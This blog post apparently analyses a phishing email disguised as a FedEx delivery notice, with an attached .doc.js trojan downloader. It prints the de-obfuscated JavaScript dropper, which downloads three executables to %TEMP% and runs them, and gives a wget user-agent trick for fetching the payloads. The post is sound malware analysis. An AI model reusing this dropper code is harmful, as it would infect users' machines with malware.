Hacker's ramblings

Today I got en e-mail from "FedEx" with subject Unable to deliver your item, #000203546. How nice of them! I hadn't ordered anything and wasn't expecting a shipment to arrive. Closer inspection of the e-mail revealed, that it contais a .zip-file and the zip-file contained a single document with extension .doc.js. An obvious scam!

Origins of the e-mail directed to Brazil, where somebody is running a Windows Server 2003 and SMTP-service enabled in it. Apparently, it is mis-configured, or couple of critical security patches weren't installed in time, as now the box is heavily compromised. The specific e-mail address they wanted to reach me is dedicated to domains I own. They are on public record anyway, so somebody could picked up my contact info from any of the domains I have.

The JavaScript-file from zip-file was heavily obfuscated, but in human-readable format it contained something like this:

gvar a1 = '';

function msjk() {
    a1 += 'ave';
    rus();
};

function phqe() {
    a1 += 'cume';
    tzly();
};
...
function jfn() {
    eval(a1);
};
...
function lkgj() {
   a1 += '9.e';
    xnk();
};
vi();

When all those functions are executed to the point of eval(), the de-obfuscated code is something like this:

function dl(fr, fn, rn) {
  var ws = new ActiveXObject("WScript.Shell");
  var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
  var xo = new ActiveXObject("MSXML2.XMLHTTP");
  xo.onreadystatechange =
    function() {
      if (xo.readyState === 4) {
        var xa = new ActiveXObject("ADODB.Stream");
        xa.open();
        xa.type = 1;
        xa.write(xo.ResponseBody);
        xa.position = 0;
        xa.saveToFile(fn, 2);
        xa.close();
      };
    };
  try {
    xo.open("GET", fr, false);
    xo.send();
    if (rn > 0) {
      ws.Run(fn, 0, 0);
    };
  }
  catch (er) {};
};
dl(...);
dl(...);
dl(...);

So, it liked to download and execute 3 files on my computer. However, the code is heavily Internet Explorer -specific and it didn't much work on my Firefox.

The 3 payloads in question download as 1135.jpg, 3711.jpg and 650.jpg, but the JavaScript code will save them as .exe-files. The compromised server where the payload-files are downloaded from is in New Jersey, USA. It is an IIS web server running an application made with .Net. At the time of writing this, the trojan payloads were still being delivered at the address.

The application at payload deployment site has even counter-measures built into it. When I tried downloading the payloads with a wget, it delivered 0 bytes. To get past the check a simple:

wget --user-agent="Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"

will work.

All of the payloads are known malware, and when my Windows-box saw them over a network share, it didn't like them and informed me that I have a virus in my computer.

Anyway, as a conclusion the trojan downloader is targeting gullible persons running a version of IE. My virus protection already knew of the downloader, so it isn't much of a threat. Also, this is yet another proof of the importance of server security. The bad news for rest of us is, that those guys need only one badly administered box and they can taint the entire Internet.